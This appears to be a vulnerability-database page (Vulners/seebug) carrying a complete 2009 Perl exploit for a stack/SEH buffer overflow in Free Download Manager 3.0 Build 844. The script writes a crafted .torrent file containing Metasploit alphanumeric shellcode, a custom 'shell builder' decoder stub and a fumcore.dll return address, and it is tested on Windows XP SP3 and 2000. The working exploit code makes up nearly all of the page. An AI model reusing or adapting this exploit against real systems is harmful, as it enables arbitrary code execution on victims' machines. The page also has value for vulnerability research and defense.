Lucene search
K

Free Download Manager <= 3.0 Build 844 .torrent BOF Exploit

🗓️ 04 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Free Download Manager <= 3.0 Build 844 .torrent BOF Exploit by SkD ([email protected]). Exploits buffer overflows in Free Download Manager version 3.0 Build 844 using a "shell building" method. Not compatible with Vista due to randomized heap

Code

                                                #!/usr/bin/perl
#
# Free Download Manager &lt;= 3.0 Build 844 .torrent BOF Exploit
# -----------------------------------------------------------
# Exploit by SkD 			 ([email protected])
#
# Vendors URL =
# [www.freedownloadmanager.org]
# Download FDM 3.0 Build 844 =
# [http://www.download.com/Free-Download-Manager/3000-2071_4-10301621.html]
# (Downloaded by over 1.6 million users!)
#
# This is another one of the more advanced exploitation methods
# for buffer overflows using my method called &quot;shell building&quot;.
# It utilizes a SEH overflow and then a shellcode builder/assembler
# &quot;builds&quot;/or &quot;assembles&quot; bytes that were deleted by transformation
# of the buffer so that the shellcode will work without a flaw.
# I have been able to do this because of my recent experiences with
# UNICODE based overflows (heap &amp; stack). This is a demonstration
# of how you can obtain power with limitations to buffer.
# Of course I could have used my shellhunting technique,
# but this is a new method, and to demonstrate it in a world of
# dying buffer overflows is important for me.
#
# Unfortunately I did not have time to make this a universal exploit
# so it will only work on all NT systems EXCEPT Vista (due to randomized
# heap, etc). But with a few modifications it can work (sure of it).
# Read my notes &amp; comments in the script for more info.
#
# Tested on Windows XP SP3 (Fully Patched) &amp; Windows 2000 SP4.
#
# Note: Author has no responsibility over the damage you do with this!

use strict;
use warnings;

my $tdata1 = &quot;\x64\x38\x3A\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x31\x32\x3A\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x37\x3A\x63\x6F\x6D&quot;.
	     &quot;\x6D\x65\x6E\x74\x31\x32\x3A\x63\x6F\x6D\x6D\x65\x6E\x74\x74\x74\x74\x74\x74\x31\x33\x3A\x63\x72\x65\x61\x74\x69\x6F\x6E\x20&quot;.
	     &quot;\x64\x61\x74\x65\x69\x31\x32\x33\x33\x36\x31\x36\x35\x30\x37\x65\x34\x3A\x69\x6E\x66\x6F\x64\x36\x3A\x6C\x65\x6E\x67\x74\x68&quot;.
	     &quot;\x69\x39\x31\x37\x33\x34\x65\x34\x3A\x6E\x61\x6D\x65\x31\x32\x39\x39\x39\x3A&quot;;
my $tdata2 = &quot;\x31\x32\x3A\x70\x69\x65\x63\x65\x20\x6C\x65\x6E\x67\x74\x68\x69\x32\x36\x32\x31\x34\x34\x65\x36\x3A\x70\x69\x65\x63\x65\x73&quot;.
	     &quot;\x32\x30\x3A\x10\x7F\xD5\x50\xE2\x70\xA5\x80\x61\x42\x7B\x53\x08\xE0\xCE\xFE\x9C\xDA\x2E\xE1\x65\x65&quot;;

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
&quot;\x01\xeb\x03\x59\x01\xeb\x05\x01\xe8\x01\xf8\x01\xff\x01\xff\x01\xff\x4f\x49\x49\x49\x49\x49&quot;.
#Notice I added 0x01 byte before each 0x80=&gt; byte.
&quot;\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36&quot;.
&quot;\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34&quot;.
&quot;\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41&quot;.
&quot;\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34&quot;.
&quot;\x42\x30\x42\x50\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x47&quot;.
&quot;\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x38&quot;.
&quot;\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x48&quot;.
&quot;\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c&quot;.
&quot;\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e&quot;.
&quot;\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x57\x45\x4e\x4b\x48&quot;.
&quot;\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44&quot;.
&quot;\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58&quot;.
&quot;\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x33&quot;.
&quot;\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x37&quot;.
&quot;\x4e\x50\x4b\x58\x42\x34\x4e\x30\x4b\x58\x42\x57\x4e\x31\x4d\x4a&quot;.
&quot;\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b&quot;.
&quot;\x42\x50\x42\x30\x42\x30\x4b\x58\x4a\x36\x4e\x53\x4f\x35\x41\x53&quot;.
&quot;\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x38\x42\x4c\x4b\x37&quot;.
&quot;\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59&quot;.
&quot;\x50\x4f\x4c\x48\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56&quot;.
&quot;\x4e\x36\x43\x46\x42\x30\x5a&quot;;

#This is the shellcode builder or assembler. It gets the location of the shellcode and then from there does
#the appropriate modifications to apply the correct hex bytes that were deleted off the buffer (0x80=&gt; bytes).
#You can only use the Alpha numerical shellcodes for the Shellcode builder ;), but remember to add
#0x01 before each 0x80=&gt; byte.
my $shellcode_builder = (&quot;\x59&quot; x 3 .&quot;\x40&quot; x 9 . &quot;\x51\x5b&quot;.&quot;\x4b&quot; x 4 .&quot;\x01\x03&quot;.&quot;\x48&quot; x 10 .&quot;\x43\x01\x03&quot; x 3).
			(&quot;\x4b&quot; x 3 .&quot;\x03\x0b&quot; x 35 .&quot;\x41&quot; x 14 .&quot;\x41\x01\x01\x01\x01&quot;.&quot;\x41\x01\x01&quot; x 2).
                        (&quot;\x49&quot; x 3 .&quot;\x48&quot;.&quot;\x01\x01&quot; x 5 .&quot;\x40&quot; x 3 .&quot;\x01\x01\x41\x01\x01&quot;).
                        (&quot;\x49&quot; x 2 .&quot;\x48&quot; x 3 .&quot;\x01\x01&quot; x 13 .&quot;\x40&quot; x 3 .&quot;\x01\x01\x41\x01\x01&quot;).
                        (&quot;\x49&quot; x 3 .&quot;\x48&quot; x 3 .&quot;\x01\x01&quot; x 11 .&quot;\x49&quot; x 3 .&quot;\x01\x01&quot; x 11).
                        (&quot;\x40&quot; x 3 .&quot;\x41\x01\x01&quot;.&quot;\x41&quot; x 3 .&quot;\x01\x01&quot;.&quot;\x41&quot; x 6 .&quot;\x01\x01&quot;);
my $len = 12999 - (10000 + (350 - length($shellcode_builder)) + length($shellcode) + 12 + length($shellcode_builder)); #Really important calculation to overflow the stack													       #and set everything in the right places(ret,addr,etc).
my $shellcode_builder_label = &quot;\x01\x01\x01\x01&quot;; #Used as a 'label' to create a DWORD 0x0000000a used in a calculation to get shellcode location.
my $overflow1 = &quot;\x41&quot; x 10000;
my $overflow2 = &quot;\x41&quot; x $len;
my $sled = &quot;\x41&quot; x (350 - length($shellcode_builder));
my $sehjmp = &quot;\x71\x06\x01\x01&quot;; #Since we cannot use 0xEB, I am going to use another type of jump ;)
my $sehret = &quot;\x1a\x09\x03\x10&quot;; #0x1003091A fumcore.dll POP ESI, POP EDI, RETN (For XP &lt;= Systems)

open(my $torrent, &quot;&gt; s.torrent&quot;);
print $torrent $tdata1.
	       $overflow1.$shellcode_builder_label.$sehjmp.$sehret.$shellcode_builder.$sled.$shellcode.$overflow2.
               $tdata2;
close $torrent;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation